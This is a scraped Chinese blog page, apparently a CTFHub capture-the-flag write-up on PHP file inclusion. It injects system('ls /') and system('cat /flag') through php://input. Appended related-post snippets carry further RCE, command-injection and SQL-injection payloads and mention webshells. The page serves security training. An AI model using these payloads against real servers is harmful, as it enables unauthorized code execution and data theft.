墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
700+累计阅读
775平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
首先查看代码
还记得strpos函数吗，这段代码意思就是判断输入是否有flag字段，
如果有就输出hacker
没有就进行include
PHPinfo当中也表明php://input可以用
那么，利用php://input来寻找flag
bp抓包,url中输入
payload：
?file=php://input
post传参
<?php system("ls"); ?> 查看当前目录
没有flag，查看上一级目录
<?php system("ls ../"); ?> 查看上一级目录
没有flag，继续，查看上一级目录
<?php system("ls ../../"); ?> 查看上上一级目录
还是没有，继续往上查看
<?php system("ls ../../../"); ?> 查看上上上一级目录
也可以直接查看根目录，
<?php system("ls /"); ?>
查看flag
<?php system("cat /flag"); ?>
CTFHUB--RCE--文件包含
有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。当它与包含函数结合时，php://filter经常会被当作代码呗执行，所以我们通常会对他进行BASE64编码。file=php://filter/resource=/flag 得到flag。php:// — 访问各个输入/输出流（I/O streams）data://text/plain 任意代码执行。zlib:// — 压缩流。
CTFHUB技能树详解（最全、最细、最易懂）
最近闲的无聊，玩玩CTF吧，并把自己的解题思路分享给大家。大佬多指教。
CTFHUB-技能树-WEB通关
Web 题目来自ctfhub技能树web部分 Web前置技能 操作系统 数据库 HTTP协议 请求方式 HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。 1.OPTIONS 返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功，则它会在HTTP头中包含一个名为“Allow”的头，值是所支持的方法，如“GET,POST”。 2.HEAD 向服务
CTFHub | 远程包含
远程文件包含（Remote File Inclusion，简称RFI）是一种常见的安全漏洞，它可以允许攻击者远程执行恶意代码或获取敏感信息。攻击者可以通过利用应用程序中易受攻击的包含程序来引入远程文件，这些文件通常包含恶意代码或其他危险的操作。如果应用程序没有正确处理和验证用户输入，那么攻击者就可以通过注入恶意代码来利用这个漏洞。
CTFHub技能树web之RCE（一）
根据代码可以看到该网页使用request得到cmd参数并使用eval执行cmd的代码，其中isset函数用于检测是否传入了一个名为cmd的变量的值（是否非空），eval是将一串字符作为php代码执行,$_REQUEST默认包含了。使用hackbar传递POST请求，file为php://input使得POST参数可以作为原始请求的数据，使用bp抓包，即可看到执行POST参数中代码后的内容。substr函数是返回字符串的子串，意思是如果file的前六个字符为php://，那么就会包含file文件。
CTFHub技能树 Web-RCE 详解
RCE简介： 初学RCE（远程命令/代码执行漏洞）https://blog.youkuaiyun.com/qq_43814486/article/details/90020139 eval执行 启动环境 分析代码，提示我们将命令赋值给cmd执行 我们先查看当前位置的文件，没有什么用 /?cmd=system("ls"); 我们查看根目录文件，发现一个 flag_8999 文件 /?cmd=system("ls /"); 我们先尝试使用cat 命令查看 flag_8999文件 /..
CTFHUB-技能树-Web题-RCE（远程代码执行）-文件包含
解释：假如在index.php中include了一个文件，那么不管这个文件后缀是什么 这个文件中的内容将会直接出现在index.php中。思路：只要我们把shell.txt的一句话木马内容传到index.php,就可以用蚁剑连接。是将ctfhub传的参数用php执行，题目的目的也是让我们执行shell木马那么我们就输入。那么这句代码的意思就是如果file中没有flag字符串就执行下面的。接着返回根目录，发现flag,接下来打开flag。用接着用蚁剑连接，寻找flag。在根目录下找到flag。
2024年最新ctfhub技能树web(1)
得到表名为flag，news?查字段名为flag?id=1 and 1=2 union select 1,sfrom flag，得到flag?id=1’ order by 2–+ 判断出有两个字段?id=-1’ union select 1,2–+ 1，2处有回显?id=-1’ union select database(),version()–+ 查库名和版本号?
CTFHUB-技能树-Web题-RCE（远程代码执行）-文件包含-php://input
php://filter和php://input，php://filter用于读取源码，php://input用于执行php代码。代码中说如果file 名中六个字符是 “php://” 就执行后面的include函数。因为php://input是执行后面的PHP命令所以要写成php代码形式。正数 - 从 start 参数所在的位置返回。这里其实就应该想到的是php://伪协议。负数 - 在从字符串结尾的指定位置开始。0 - 在字符串中的第一个字符处开始。正数 - 在字符串的指定位置开始。
CTFHub技能树web之RCE（二）
打开phpinfo，可以看到allow_url_fopen和allow_url_include都是On，因此可以使用php://input，由于代码会检查file中的内容，因此不能够使用php://filter包含文件，使用php://input通过hackbar使用POST方式发包，抓包并在最后一行加php代码执行。使用%0a拼接cd%09*_is_here进入flag文件所在的目录中，由于cat被过滤因此使用tac，再使用%0a拼接tac%09*输出flag文件内容，构造语句为?
coreldraw sp2精简版 x4_CorelDRAW X4下载-CorelDRAW X4 SP2 精简版_Win10镜像官网
CorelDRAW X4 SP2是一个专业图形设计软件，专用于矢量图形编辑与排版，借助其丰富的内容和专业图形设计、照片编辑和网站设计软件，您将能够随心所欲地表达自己的风格与创意，轻松创作徽标标志、广告标牌、车身贴和传单、模型绘制、插图描画、排版及分色输出等。CorelDRAW X4 SP2软件特色CorelDraw X4 相比两年前的 CorelDraw X3 加入了大量新特性，总计有50项以上，...
CTFHUB-技能树-Web题-RCE（远程代码执行）-文件包含—php://input—读取源代码
而且也没有木马文件可以用，但是它说flag在 /flag当中。而它说flag在 /flag当中那么我们直接。file的前六个字母要是php://
手把手教你学Simulink--基于故障诊断与容错控制的场景实例：电动汽车电机驱动系统的故障检测与隔离
本文介绍了基于Simulink的电动汽车电机驱动系统故障诊断与隔离(FDI)仿真建模方法。通过构建永磁同步电机(PMSM)驱动系统模型，实现了IGBT开路、电流传感器漂移等典型故障的注入与检测。重点阐述了基于观测器的残差生成方法，以及利用Stateflow实现的故障隔离逻辑。仿真结果表明，该系统能在85ms内准确识别故障类型，隔离准确率达97%，并支持容错控制。文章还探讨了AI故障预测、数字孪生等高级应用方向，为电动汽车电驱系统安全提供了完整的仿真解决方案。
CTFHub 技能树-- RCE（详解）
CTFHub – RCE RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统 eval执行文件 查看一开始的源代码： <?php if(isset($_REQUEST['cmd'])){ eval($_REQUEST['cmd']); } else{ highlight_file(__FILE__); } ?> php函数意思是： 是否由变量cmd 如果有，就执行eval($_REQUEST['cmd
metaRTC嵌入式webrtc编译指南
metaRTC编译支持qmake和cmake，qmake使用QT最为方便，新版本新增了cmake支持。 ...
LTE 中设置voice/data centric的差异
1. 什么是voice centric和data centric Voice centric和data centric的差别在于以语音为中心还是以数据为中心。这里的以某某为中心可不是说说而已。举个栗子，UE一般搜网注册都会按照LUG（LTE->UMTS->GSM）或者LC（LTE->CDMA）的顺序进行，如果UE（未开通VOLTE）注册到LTE时，网络提示不支持语音，比如CSFB。UE就必须disable LTE后回到GU或者CDMA，否则留在不能语音的网络下，UE就会...
7、ctfhub技能树_web_RCE
（3）输入1.1.1.1&cat$IFS$9flag_319031051230486.php，点击ping，按F12打开网站源码，得到flag为ctfhub{4734f1bd73d4e86b5c4c9002}_36941055321623.php)，用%0a代替分隔符，${IFS}代替空格，%09*代替flag，按F12打开网站源码，得到flag为ctfhub{5e8b611b7c14c1e00c387489}>，点击Send，得到flag为ctfhub{cb14169ce1e41796730b1a49}
YOLOv11改进 | Conv篇 | DWRSeg扩张式残差助力小目标检测 （附创新修改后的C3k2DWRSeg）
本文内容给大家带来的DWRSeg中的DWR模块来改进YOLOv11中的C2f和Bottleneck模块，主要针对的是小目标检测，主要创新点可以总结如下：多尺度特征提取机制的深入研究和创新的DWR模块和SIR模块的提出这种方法使得网络能够更灵活地适应不同尺度的特征，从而更准确地识别和分割图像中的物体。DWRSeg的基本原理和框架，并且能够在你自己的网络结构中进行添加DWRSeg需要增加一定的计算量一个DWR模块大概增加0.4GFLOPsYOLOv11改进系列专栏——本专栏持续复习各种顶会内容——科研必备。
CTFHUB-技能树-Web题-RCE（远程代码执行）-eval执行
CTFHUB-技能树-Web题-RCE（远程代码执行）
IEEE S&P 2026 大模型安全论文整理
本文梳理了 IEEE S&P 2026（第47届 IEEE 安全与隐私研讨会）中与 LLM Safety 相关的论文，涵盖大模型越狱攻击、防御与对齐、隐私保护、RAG 安全、多模态大模型安全、智能体安全、图-LLM 安全、工具链安全及生成式 AI 安全与隐私等方向。
用Excel或WPS做两独立样本的T检验
一般情况下收集数据时常用的是Excel或者WPS，但统计时却用SPSS等软件进行统计学分析，经常很多人找不到SPSS的安装包，或者苦于正版激活或忘记教程，其实Excel或WPS自带函数就足够了，均数、标准差以及统计检验都是一个函数而已。解释：先做F检验，如果F>0.05就做T检验，Ttset里的数据为两组的数据的比较，结果如下。A组的均数计算 =AVERAGE(B2:B6)A组的标准差计算 =STDEV(B2:B6)B组的标准差计算=STDEV(B7:B19)分组 数值 A组均数 A组标准差 p值。
CTFHUB-技能树-Web题-RCE（远程代码执行）-远程包含-命令注入-综合过滤练习
根据题目提示以及代码。
15 媒体存储的封装3
CMediaDisk类真正实现了录像文件的存储、查询和点播。存储录像文件时，需要满足以下的几个基本需求：1、异常断电不能丢失数据。2、录像既支持普通文件的查询方式，也支持时间轴的查询方式。3、修改设备时间时，不能够丢失已有录像和数据。向后修改时间时，如果当前时间已有录像，则不覆盖老数据；直到有未录像的时间段时，才再次写入新数据。4、支持删除媒体文件，也支持按时间段删除。5、支持标记录像文件、抓拍文件，也支持按时间段标记。6、支持自动覆盖最老的文件。7、支持多个设备、多路视频的录像存储。
CTFHUB技能树-Web通关攻略
CTFhub技能树解题过程（web部分，不包含web进阶）
Devexpress16.2.6破解工具
Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具
efm32 入门.pdf
本PDF共计22页，介绍的是操作驱动API，下载与否自己斟酌。
ctfhub-web技能树笔记
phpinfo() 是php中查看相关信息的函数，当在页面中执行phpinfo()函数时，php会将自身的所有信息全部打印出来。在使用vim时会创建临时缓存文件，关闭vim时缓存文件则会被删除，当vim异常退出后，因为未处理缓存文件，导致可以通过缓存文件恢复原始文件内容以 index.php 为例：第一次产生的交换文件名为。**eval()**函数是可以把一串字符串作为PHP代码执行，**system()**函数的作用为执行系统命令并输出执行结果。使用curl通过网站访问bak文件，解决文件泄露的问题。
ssm框架搭建
这个是一个在idea上成功跑起来的ssm框架项目，保存在这里方便以后使用直接下载
php eval ctf,ctfhub技能树_web_RCE之eval、文件包含
这次我们来看看RCE(远程代码/命令执行)吧。由于篇幅限制，这篇文章不包含命令注入，命令注入我会在另一篇文章中详细的记录。eval执行打开题目，可以看到网页的源代码通过代码可以看到，这就是典型的web后门，配置中国蚁剑进入后台，获取flag文件包含看看代码：strpos(string,find,start) 函数查找字符串在另一字符串中第一次出现的位置参数描述string必需。规定要搜索的字符串。...
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
1412
扫一扫
